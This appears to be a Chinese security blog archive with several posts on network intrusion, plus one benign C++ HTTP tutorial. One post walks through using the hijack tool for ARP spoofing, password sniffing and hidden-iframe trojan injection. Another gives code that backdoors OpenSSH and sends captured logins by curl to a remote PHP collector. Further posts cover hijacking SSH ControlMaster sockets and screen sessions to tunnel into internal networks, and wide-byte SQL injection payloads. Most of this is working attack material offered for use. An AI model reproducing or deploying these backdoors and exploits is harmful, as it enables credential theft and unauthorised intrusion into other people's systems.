带ARP欺骗攻击的渗透利刃--hijack

发布时间:April 30, 2015 // 分类:工作日志,运维工作,转帖文章,windows // No Comments

ARP欺骗攻击在内网渗透中的作用是极大的,因此这里介绍一个具有ARP欺骗功能的渗透小工具hijack。这个小巧但功能强大的工具,具备各种强大的功能,可以进行远程渗透入侵。

1.上传hijack,安装嗅探组件

hijack解压后,里面有3个文件:"hijack.exe"、"winpcap.exe"和"old.exe"。其中"hijack.exe"和"winpcap.exe"是必需的。前者是程序主文件,后者是嗅探所需Winpcap数据包的自解压版本。

首先,攻击者要将hijack上传到远程主机上,可以使用远程控制木马或溢出Shell窗口进行上传,如图8-67所示。这里选择上传到C盘根目录下。

返回到远程命令控制窗口中,执行命令:

  1. dir c:\hijack.exe 

如果显示文件,则表示上传文件成功。然后执行"c:\winpcap.exe"命令,会自动解压所需的嗅探组件到系统目录下,如图8-68所示。

 
(点击查看大图)图8-67  通过木马Shell上传hijack
 
(点击查看大图)图8-68  安装winpcap嗅探协议包

在使用"hijack.exe"工具进行渗透入侵前,必须安装winpcap组件,否则会弹出错误提示,如图8-69所示。

 
(点击查看大图)图8-69  错误提示

2.查获远程网络信息

入侵控制的主机,可能是单独的一台主机,也可能位于某个网络中;主机上可能只安装了一块网卡,也可能安装了多块网块--全面地了解远程主机上的网络信息是进一步渗透入侵攻击前所必需的。

在远程控制木马的命令控制窗口中,执行命令:

  1. hijack /L 

可以看到远程主机上网卡的设备名、IP地址、MAC物理地址和子网掩码等各种网络信息,如图8-70所示。其中,比较重要的是"idx"列显示的信息,也就是网卡索引号。如果是单网卡,那么网卡索引号为1。

现在要扫描远程主机子网中所有的主机IP地址,命令格式为:

  1. hijack exe -d 网卡索引号 /s 

由于是单网卡,可以直接执行命令:

  1. hijack -d 1 /s 

可以从远程主机所在的子网中扫描并显示所有主机的IP地址,以及其网卡的MAC物理地址。这里可以看到,在子网中有3台主机,如图8-71所示。

 
(点击查看大图)图8-70  查看服务器网络信息
 
(点击查看大图)图8-71  扫描远程内部网络

3.嗅探子网主机的密码

在进行渗透入侵时,嗅探具有非常重要的作用,尤其是在入侵网站服务器网络时。利用嗅探,可以获得子网中其他主机的管理员密码,或者是网站登录密码、邮箱或FTP登录密码等。

1)嗅探数据库的密码

例如,控制网站服务器主机内网的IP地址是"192.168.1.8",在子网中另一台主机的IP地址是"192.168.1.10",该主机是网站的数据库服务器。攻击者想获得数据库的连接密码,可以嗅探主机"192.168.1.6"的所有网络连接数据。

在远程控制木马的命令控制窗口中,执行嗅探命令(见图8-72):

 
(点击查看大图)图8-72  嗅探主机密码

 

  1. hijack -d 1 -O pass.log 192.168.1.*  
  2.     192.168.1.10 

该命令可以嗅探所有"192.168.1.*"网段的主机与数据库服务器"192.168.1.6"之间的网络信息数据,并从中捕获密码,保存在"pass.log"文件中。

也可以直接使用如下命令:

  1. hijack -d 1 -O pass.log 192.168.1.*  192.168.1.1 

嗅探所有主机与网关服务器之间的数据交换,从而获得其登录密码并直接从外网登录网关。

以上命令,只是进行单向嗅探,我们也可以添加参数"-f"进行双向嗅探,命令格式如下:

  1. hijack -d 1 -f -O pass.log 192.168.1.*  192.168.1.10 

另外,我们也可以设置嗅探指定协议的密码,如嗅探FTP密码,可执行命令:

  1. hijack -d 1 -r -f -O pass.log 192.168.1.*  
    192.168.1.10 "USER|PASS" "tcp and dst port 21" 

要嗅探常见的HTTP密码,可执行命令:

  1. hijack -d 1 -r -f -O pass.log 192.168.1.* 
    192.168.1.10 "
    username=|password=" "tcp  and dst port 80" 

8.4.3 带ARP欺骗攻击的渗透利刃--hijack(2)

2)查看嗅探数据

执行了后台嗅探后,嗅探的结果会保存在远程主机上。显示嗅探结果的命令为:

  1. hijack.exe -I pass.log 

执行命令后,就可以看到嗅探记录文件中保存的所有嗅探数据了,如图8-73所示,通过分析查看即可获得密码。

 
(点击查看大图)图8-73  显示嗅探结果

3)IP地址欺骗攻击,突破内网连接限制

通过前面嗅探到的密码可以进行远程连接,以控制子网中的其他主机。但是这些子网中的主机,往往通过防火墙或其他方式设置了连接限制,只允许与指定IP地址的主机进行连接,此时可以通过hijack的IP地址欺骗功能来渗透入侵连接受限制的主机。

这里假设在子网内某台计算机公网的IP地址为"202.98.198.33",该主机设置了IP地址限制,只允许IP地址"202.98.198.77"访问,而攻击者本机的IP地址是"202.172.68.12",如果想入侵这台连接受制限的主机,可以执行命令(见图8-74):

  1. hijack -d 1 -z 202.98.198.33 202.98.198.
    1 202.172.68.12 202.98.198.77 
 
(点击查看大图)图8-74  IP地址欺骗

其中,"202.98.198.1"是该网段的网关IP。执行该命令后,攻击者就可以突破IP地址限制,连接上原本受限制的主机了。

4)ARP欺骗攻击

在渗透入侵攻击中,如果无法进行嗅探,或者难以突破内网与外网,那么ARP欺骗攻击就可以大显身手了。hijack的ARP欺骗攻击可以在子网内其他主机与网关的数据交换中,任意添加修改网络数据,以达到挂马攻击的目的。

例如,已经有了一个网页木马,地址为"http://www.binghexijian.com/1.htm",要想让子网中的其他主机,在浏览任何网页时都被网页木马攻击,可以进行如下的ARP欺骗攻击操作。

(1)编写规则文件。打开记事本,编写如下内容的文本文件:

  1. ----  
  2. HTML> 
  3. ----  
  4. <iframe src=http://www.binghexijian.com/1.
    htm 
    width=0 height=0>iframe>HTML> 

将文件保存为"job.txt",然后上传到远程主机与hijack所在的文件夹下,该文件作为ARP欺骗规则文件。

(2)实施ARP欺骗攻击。在远程命令控制窗口中,执行如下命令(见图8-75):

 
(点击查看大图)图8-75  成功进行ARP欺骗攻击
  1. hijack -d 1 -v -p 80 -S 100 -F job.txt  
  2.     192.168.1.1 192.168.1.* 

命令执行后即可对子网内的所有主机进行ARP欺骗攻击了。当子网中的所有主机访问任意网页时,能够正常打开网页。但是,网页中会被嵌入网页木马,从而被木马攻击。

除了上面的攻击实例外,hijack还可以进行HTTP会话捕获、DNS欺骗、网速限制和跨网段欺骗等强大的渗透攻击功能,我们可以直接执行"hijack -h"命令来查看其详细的命令帮助信息。

 

下载地址

关于openssh通用后门的拓展

发布时间:April 28, 2015 // 分类:工作日志,VC/C/C++,代码学习,linux // 3 Comments

from:http://www.freebuf.com/tools/10474.html

简单的说下步骤:

安装前首先

ssh -V

记录下原来ssh版本信息,免得安装后一看就版本不一样了

wget http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
wget http://openbsd.org.ar/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.tar.gz
tar zxvf 0x06-openssh-5.9p1.patch.tar.gz
cd openssh-5.9p1.patch/
cp sshbd5.9p1.diff ../openssh-5.9p1
cd ../openssh-5.9p1
patch < sshbd5.9p1.diff   //patch  后门
vi includes.h                   //修改后门密码,记录文件位置,

/*
+#define ILOG "/tmp/ilog"                      //记录登录到本机的用户名和密码
+#define OLOG "/tmp/olog"                   //记录本机登录到远程的用户名和密码
+#define SECRETPW "123456654321"    //你后门的密码
*/

vi version.h                                           //修改ssh版本信息,改成原来的

先安装所需环境不然会报错

yum install -y openssl openssl-devel pam-devel
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5

注意要是出现:configure: error: *** zlib.h missing – please install first or check config.log

需要安装zlib

yum install -y zlib zlib-devel    //  http://sourceforge.net/projects/libpng/files/zlib/1.2.3/zlib-1.2.3.tar.gz/download  需要 make clean
make && make install
service sshd restart          //重启sshd

然后我们登录ssh看看

再ssh localhost看看

使用后门密码登录是不会被记录的

后门,记录一举两得,是不是很简单.这么简单粗暴的办法,必须进行拓展才好啊。比如。需要把当前的账号和密码发送到远程的地方,而不是简单的保存在本地。或者是利用当前的到账号和密码,来穷举当前机器所在的内网的C段。当然,这些需要自己来做一些加工。首先我们来分析OPENSSH认证的地方。然后从这个地方截取所需要的账号和密码

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后查看openssh的那个patch

diff -u openssh-5.9p1/sshconnect2.c openssh-5.9p1.patch//sshconnect2.c
--- openssh-5.9p1/sshconnect2.c 2011-05-29 18:42:34.000000000 +0700
+++ openssh-5.9p1.patch//sshconnect2.c  2012-02-04 22:17:53.385927565 +0700
@@ -878,6 +878,10 @@
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
+   if((f=fopen(OLOG,"a"))!=NULL){
+       fprintf(f,"user:password@host --> %s:%s@%s\n",authctxt->server_user,password,authctxt->host);
+       fclose(f);
+   }
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);

如此,全部的包含信息都有了。账号和密码,还有地址。对了,还缺少一个端口,因为ssh的端口都是在sshd_config里面。那么直接获取就好了。

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }

全部的流程分析清楚了。然后就是直接加进去就好了

int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    FILE *f;

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    
    if((f=fopen("/tmp/olog","a"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,password,authctxt->host,findport());
        fclose(f);
    }
    
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    return 1;
}

然后,就是国际惯例。./configure make

既然得到了账号和密码。我们考虑下把这个密码发送到远程地址。因为要发送,所以考虑到还要使用sock来发送http请求,后来想起是linux.本身就带有curl的,为何不直接用来请求呢。

    char szres[1024] = {0};
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    //printf("Szres = %s.\r\n",szres);
    system(szres);  

然后接收端这么写

<?php
$username = $_POST['username'];
$password = $_POST['password'];
$host = $_POST['host'];
$port = $_POST['port'];
$time=date('Y-m-d H:i:s',time());

if(isset($username) != "" || isset($password) !="" || isset($host) != "")
{
        $fp = fopen("sshlog.txt","a+");
        $result = "sername:.$username--->:Password:$password----->:Host:$host----->:port:$port----->:time:$time";
        fwrite($fp,$result);
        fwrite($fp,"\r\n");
        fclose($fp);
}
?>
int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char szres[1024] = {0};

    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
        
    
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;

    if (attempt++ >= options.number_of_password_prompts)
        return 0;

    if (attempt != 1)
        error("Permission denied, please try again.");

    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();

    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);
    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -d \"username=%s&password=%s&host=%s&port=%s\" http://0cx.cc/ssh.php >null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    printf("Szres = %s.\r\n",szres);//实际的时候不需要这样子
    system(szres);  
    
    return 1;
}

最后的就是这个样子

 

缺点:

调用curl是很方便,但是curl post的时候会传输数据。

root@ubuntu:/tmp/openssh-5.9p1# ./ssh 192.168.1.103
root@192.168.1.103's password: 
root@192.168.1.103's password: 
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    63    0     0  100    63      0     43  0:00:01  0:00:01 --:--:--   248
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

705 packages can be updated.
313 updates are security updates.

New release '14.04.1 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon Apr 27 17:04:59 2015 from ubuntu.local
root@ubuntu:~# 

开始以为是curl的问题,后来查询curl的具体使用方法,发现加一个参数-s就好了。也就是

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());
    system(szres);

PS:

snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&Host=%s&port=%s\" http://0cx.cc/ssh.php >/dev/null",authctxt->server_user,read_passphrase(prompt, 0),authctxt->host,findport());

这里的read_passphrase(prompt, 0)会重新调用验证,所以会出现二次认证的提示。于是在read_passphrase(prompt, 0)的时候复制一次就好了。所以完整的函数体是这样子的


int
userauth_passwd(Authctxt *authctxt)
{
    static int attempt = 0;
    char prompt[150];
    char *password;
    char *pass[200];
    char szres[1024] = {0};
    FILE *f;
    char *findport()
    {
        FILE *FTopen;
        char tempBuf[1024] = {0};
        char *Filename = "/etc/ssh/sshd_config";
        char *Filetext = "Port";
        if((FTopen = fopen(Filename, "r")) == NULL) { return Filetext; }
        while(fgets(tempBuf, 1024, FTopen) != NULL) { 
                if(strstr(tempBuf, Filetext)) { Filetext = tempBuf; break; }
                memset(tempBuf, 0, 1024);
        }
        fclose(FTopen);
        return Filetext;
    }
         
     
    const char *host = options.host_key_alias ?  options.host_key_alias :
        authctxt->host;
 
    if (attempt++ >= options.number_of_password_prompts)
        return 0;
 
    if (attempt != 1)
        error("Permission denied, please try again.");
 
    snprintf(prompt, sizeof(prompt), "%.30s@%.128s's password: ",
        authctxt->server_user, host);
    password = read_passphrase(prompt, 0);
    strcpy(pass,password);//截取的密码的时候把它复制到自定义的地方去。方便调用
    packet_start(SSH2_MSG_USERAUTH_REQUEST);
    packet_put_cstring(authctxt->server_user);
    packet_put_cstring(authctxt->service);
    packet_put_cstring(authctxt->method->name);
    packet_put_char(0);
    packet_put_cstring(password);
    memset(password, 0, strlen(password));
    xfree(password);
    packet_add_padding(64);
    packet_send();
 
    dispatch_set(SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ,
        &input_userauth_passwd_changereq);

    if((f=fopen("/tmp/olog","a+"))!=NULL){//这里为了方便,写入本地咯
        fprintf(f,"username:%s-->password:%s-->host:%s-->port:%s\n",authctxt->server_user,pass,authctxt->host,findport());
        fclose(f);}  

    memset(szres,0,sizeof(szres));
    snprintf(szres,sizeof(szres),"/usr/bin/curl -s -d \"username=%s&password=%s&host=%s&port=%s\" http://0xc.cc/ssh.php >/dev/null",authctxt->server_user,pass,authctxt->host,findport());
    system(szres);  
   
    return 1;
}

C++ 简单实现HTTP GET/POST 请求

发布时间:April 28, 2015 // 分类:工作日志,linux,代码学习,VC/C/C++,转帖文章,windows // No Comments

HTTP(超文本传输协议)是一种客户端与服务端的传输协议,最早用于浏览器和服务器之间的通信,后来因为其使用灵活、方便等特点,广泛用于客户端与服务端的通信。文章将简单介绍HTTP协议,同时以C++方式分别实现HTTP GET、POST 请求

HTTP 请求报文

HTTP请求报文的一般格式由4部分组成:请求行、请求头部、空行、请求数据。如下图所示:

请求行:包含3部分内容:请求方法,URL,协议版本。形式如:GET /?aaa=1 HTTP/1.1。请求方法有GET、POST、HEAD、PUT、DELETE、OPTIONS等。URL指请求服务端的地址,可以是相对地址或域名形式的绝对地址。协议版本主要有HTTP/1.1 HTTP/1.0 HTTP/0.9,后面两种已很少使用了。

请求头部:以key/value形式成对表示头部参数,以英文冒号分隔。key名称的约定写法为Key,Key-Name,自定义key名称一般以“X-”开头。如php的声明“X-Powered-By:PHP/5.5.4-1”

空行:用来标识请求头部的数据已结束。

请求数据:可选项,这块内容只在POST方式下使用,作为POST的数据表示区域。使用这块内容,要在请求头部以Content-Length声明请求数据长度,以Content-Type声明请求数据类型。

C++ 实现HTTP POST请求

HTTP POST方式是把请求参数放到HTTP请求报文的请求数据中,为了让例子更容易看懂,仅保留HTTP Post关键参数,你还可以自定义一些参数,比如浏览器喜欢用的User-Agent,Accept,Connection等等

char *pHttpPost = "POST %s HTTP/1.1\r\n"  
    "Host: %s:%d\r\n"  
    "Content-Type: application/x-www-form-urlencoded\r\n"  
    "Content-Length: %d\r\n\r\n"  
    "%s";  
  
char* addr = "http://localhost/post.php";  
char* host = "127.0.0.1";  
int port = 80;  
char* msg = "aaa=1&bbb=2";  
  
char strHttpPost[1024] = {0};  
sprintf(strHttpPost, pHttpPost, addr, host, port, strlen(msg), msg);  
  
//这里忽略掉了socket连接代码  
  
send(sockClient, strHttpPost, strlen(strHttpPost), 0);  

C++ 实现HTTP GET请求

HTTP GET方式是把请求参数放到HTTP请求报文的请求行URL中,所以请求行就是“GET /?aaa=1&bbb=2 HTTP/1.1\r\n”。URL最大长度通常浏览器取255,这和文件路径最大长度有关。虽然HTTP允许更大长度,但不建议怎么做,如果太长了,可以考虑换成POST方式

char *pHttpGet = "GET %s?%s HTTP/1.1\r\n"  
    "Host: %s:%d\r\n\r\n";  
  
char* addr = "http://localhost/get.php";  
char* host = "127.0.0.1";  
int post = 80;  
char* msg = "aaa=1&bbb=2";  
  
char strHttpGet[1024] = {0};  
sprintf(strHttpGet, pHttpGet, addr, msg,  host, post);  
  
//这里忽略掉了socket连接代码  
  
send(sockClient, strHttpGet, strlen(strHttpGet), 0);  

 

劫持SSH会话注入端口转发

发布时间:April 27, 2015 // 分类:工作日志,linux,转帖文章 // No Comments

Hijacking SSH to Inject Port Forwards
During red team post exploitation I sometimes run into jump boxes leading to test environments, production servers, DMZs, or other organizational branches. As these systems are designed to act as couriers of outbound traffic, hijacking SSH sessions belonging to other users can be useful. So what do you do when you have full control over a jump box and want to leverage another user's outbound SSH access to tunnel into another segment? What if you don't have passwords, keys, shouldn't drop binaries, and SSH is protected by 2-factor authentication? Roll up your sleeves and trust your command line Kung Fu!

This post will cover two approaches to hijacking SSH sessions, without credentials, with the goal inserting dynamic port forwards on the fly. The two stages at which I'll approach hijacking sessions are: (1) upon session creation, and (2) when a live SSH session exists inside of screen (more common than you'd think). In each case our final goal is to create a tunnel inside another user's active session in order to gain access to outbound routes on the terminating SSHD host.

0x01 细节


1.1第一种场景:

攻击流程如下:SSH客户(ssh_user)连接到hop_1,攻击者(attacker)能够控制ssh_user这台机器,攻击者通过注入端口转发来实现入侵hop_1和hop_2之后的网络。步骤如下:

enter image description here

1. 攻击者可以用两种方式来修改ssh客户端,如果有ROOT权限可以直接修改/etc/ssh/ssh_config,如果没有修改ssh_config文件的权限,可以通过在相应用户的.bashrc中封装ssh来实现。主要涉及的项如下:

ControlPath /tmp/%r@%h:%p
ControlMaster auto
ControlPersist yes 

enter image description here

如果打开了ControlPersist,表示用户在进行SSH连接后,即使退出了会话,我们也能通过socket劫持,因为这个文件不会删除。

2. 当(ssh_user)连接到hop_1(192.168.56.131)的时候,会在/tmp目录下生成一个socket文件,我们使用

ssh -S /tmp/root@192.168.56.131 %h

来连接

enter image description here

注入命令端口转发的命令如下:

ssh -O forward -D 8888 -S /tmp/root@192.168.56.131 %x

enter image description here

执行完这条命令后,我们就可以使用ssh_user这台机器的8888端口做SOCKS5代理,访问hop_2后的网段了。

3. 前面说过,如果ControlPersist为yes,则不会自动删除sockets文件,我们可以手工rm删除/tmp/root@192.168.56.131:22,也可以优雅的使用

root@kali: # ssh -O exit -S /tmp/root@192.168.56.131 %x

来删除。在.bashrc里封装ssh命令的方法如下:

ssh () 
{ 
    /usr/bin/ssh -o "ControlMaster=auto" -o "ControlPath=/tmp/%r@%h:%p" -o "ControlPersist=yes" "$@";
}

enter image description here

1.2第二种场景:

这种情景是ssh_user用户使用screen管理ssh会话时的情景,步骤如下:

enter image description here

1. 当ssh_user使用

screen ssh root@192.168.56.131

连接远程的hop_1(192.168.56.131)时,会在/var/run/screen有显示相应的文件

root@kali:~# ls -la /var/run/screen/
total 0
drwxrwxr-x  3 root utmp  60 Mar 16 03:37 .
drwxr-xr-x 20 root root 640 Mar  3 21:23 ..
drwx------  2 root root  60 Mar 16 04:21 S-root

其中S-ROOT表示是本地的root用户连接的远程,可以用screen -r root/来接管会话,或者用screen -x 6851.pts-0.kali。

2. 如果要注入端口转发,还有 一点要注意,需要先执行script /dev/null来绕过pts/tty限制。命令如下

root@kali:~# lsof -i TCP:8888
root@kali:~# script /dev/null 
Script started, file is /dev/null
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'~C'
root@kali:~# screen -S 6851.pts-0.kali -p 0 -X  stuff $'-D:8888\n\n'
root@kali:~# lsof -i TCP:8888
COMMAND  PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
ssh     6852 root    7u  IPv4  94301      0t0  TCP *:8888 (LISTEN)
ssh     6852 root    8u  IPv6  94302      0t0  TCP *:8888 (LISTEN)

注入screen的ssh会话,会有一个不好的地方,就是你敲的命令,会在当前正在连接的用户那里同时显示,容易被发现。

enter image description here

转自:http://drops.wooyun.org/tips/5253

参考文章:http://0xthem.blogspot.com/2015/03/hijacking-ssh-to-inject-port-forwards.html

 

写在后面的话:

socket文件移动了还是可以用的,注销以后也可以用,但是重启后就不能用了,debian测试。直接写到了.bashrc ssh的socket移动这个问题,在生成socket的这个机器上我移动后还是可以用的 socket文件应该是cp不到其他机器上的 这个技巧真是猥琐。但是这边连接了以后,管理员再连接的时候不需要密码就可以直接操作了。

就是已经有socket了,下次管理员再连接的时候就不用输入密码了,容易被管理员发现 在/etc/ssh/ssh_config里不好直接解决这个问题 我是在.bashrc里判断处理的,如果有以前创建的连接远程主机的socket,就先移到别的地方,然后下下次管理员连接的时候,就不在创建socket。

ssh() { [ -S /tmp/*@* ] && (mv /tmp/*@* /dev/shm ; > ~/.ssh/config ) || echo -e "ControlPath /tmp/%r@%h_%p\nControlMaster auto\nControlPersist yes" > ~/.ssh/config /usr/bin/ssh "$@" }
ssh -S root\@192.168.5.5\:22 %x
这里原文章说填写什么都可以%x或%a或%b,都可以。其实ControlPath /tmp/%r@%h:%p 你没必要弄个:. 麻烦,下次连ssh还要\转义 .你直接ControlPath /tmp/%r@%h_%p 或者 ControlPath /tmp/%r@%h 不要都行%p也行.反正就是个socket的命名.

你多测试一些不同的linux.比如centos5/6 ubuntu debian 我不知道是系统版本影响还是ssh版本影响,(没时间去折腾) 会出现不同的状况.

1 ControlPersist yes 不支持,直接报错

2 第一次登陆远程,创建本地socket后.退出远程会卡住.(ctrl+c都无效)

3 有些系统不设置ControlPersist参数.退出登陆后socket会保留,有些会直接删了.(这个问题不大)

1.2不管对谁都是灾难 反正多测试.这个东西不是想象中的那么统一

深入探究宽字节注入漏洞与修补原理

发布时间:April 27, 2015 // 分类:PHP,代码学习,转帖文章,mysql // No Comments

1、概述

主要是由于使用了宽字节编码造成的。

什么是字符集?

计算机显示的字符图形与保存该字符时的二进制编码的映射关系。

ASCII中,A(图形)对应编码0100000165)。

对于MYSQL数据库来说,涉及字符集的地方大致分为存储和传输时,即:

(1)存储在服务器端的数据是何种编码

(2)客户端和服务器交互的时候数据传输使用的编码。

 

2、MYSQL服务器端存储字符集

MYSQL服务器端进行数据存储时,允许在以下的级别设置字符集:

(1)服务器端字符集(character_set_server

(2)库字符集

(3)表字符集

(4)字段字符集

优先级为:字段----->------->-------->服务器

对应的语法是:

Create table test(
name varchar(20) charset gbk,
number varchar(10),
age int
)engine=innodb charset=utf-8 ;

3、客户端与服务器交互数据传输的字符集

存储时的字符集已经确定了,不会影响交互阶段的字符集。

MYSQL中,还有一个中间层的结构,负责客户端和服务器之间的连接,所以称为连接层。

交互的过程如下:

(1)客户端以某种字符集生成的SQL语句发送至服务器端,这个“某种字符集”其实是任意规定的,PHP作为客户端连接MYSQL时,这个字符集就是PHP文件默认的编码。

(2)服务器会将这个SQL语句转为连接层的字符集。问题在于MYSQL是怎么知道我们传过来的这个SQL语句是什么编码呢?这时主要依靠两个MYSQL的内部变量来表示,一个是character_set_client(客户端的字符集)和character_set_connection(连接层的字符集)。可以使用show variables like character_set_% ;进行查看。

可以看到,这里的客户端字符集为GBK,连接层字符集也是为GBK

两者相同,就不会有问题,如果不一致,就会出现乱码问题了。

使用MYSQL中的set命令可以对这些内部变量做设置,如修改客户端编码为UTF-8;

set character_set_client = UTF-8

(1)服务器将转换好的SQL语句,转为服务器内部编码与存储在服务器上的数据进行交互

(2)服务器处理完之后,将结果返回给客户端,还是转为服务器认为客户端可以认识的编码,如上图的GBK,使用character_set_results来确定返回客户端的编码。

平时在PHP中写的set names UTF-8相当于下面三条同时执行:

(1)set character_set_client = UTF-8

(2)set character_set_connection = UTF-8

(3)set character_set_results = UTF-8

 

4、乱码问题原理

设置三个字符集相同,这也就不会出现乱码的真正原理。网页上有时会出现乱码是因为PHP动态文件将数据打印到浏览器的时候,浏览器也会按照一定的字符集进行判断,如果PHP的响应数据编码和浏览器编码一致,就不会出现乱码,否则就出现乱码。可以通过在PHP中使用header()来指定这个响应数据的编码。

 

5、宽字节注入原理

有三种形式:

(1)情景一:在PHP中使用mysql_query(set names GBK);指定三个字符集(客户端、连接层、结果集)都是GBK编码。

情景代码: 

.....
mysql_query(“set names GBK”);
$bar = addslashes($_GET[‘bar’]) ;
$sql = “select password from user where bar=’{$bar}’”;
$res = mysql_query($sql) ;
......

提交:http://127.0.0.1/foo.php?bar=admin%df%27

这时,发生如下转换:

%df%27=====(addslashes)======>%df%5c%27======(GBK)======>

带入sql为:

Select password from user where bar=

成功将单引号闭合。为了避免漏洞,网站一般会设置UTF-8编码,然后进行转义过滤。但是由于一些不经意的字符集转换,又会导致漏洞。

 

(2)情景二:

使用set names UTF-8指定了UTF-8字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。

情景代码:

....
mysql_query(“set names UTF-8”) ;
$bar =iconv(“GBK”,”UTF-8”, addslashes($_GET[‘’bar])) ;
$sql = “select password from user where bar=’{$bar}’” ;
$res = mysql_query($sql) ;
......

我们可以看到,为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBKUTF-8转换的过程中。

提交:http://127.0.0.1/foo.php?bar=%e5%5c%27

变换过程:(e55c转为UTF-8e98ca6

e55c27====(addslashes)====>e55c5c5c27====(iconv)====>e98ca65c5c27

可以看到,多出了一个5c,将转义符(反斜杠)本身转义,使得后面的%27发挥了作用。

测试如下:


 

 

(3)情景三:使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。提交%e9%8c%a6即可。

这个情景的大前提是先编码后转义:

e98ca6====(iconv)=====>e55c=====(addslashes)====>e55c5c

同样可以多出一个反斜杠进行利用,在此不再详述,因为漏洞条件比较苛刻。

 

 

6、安全方案

对于宽字节编码,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

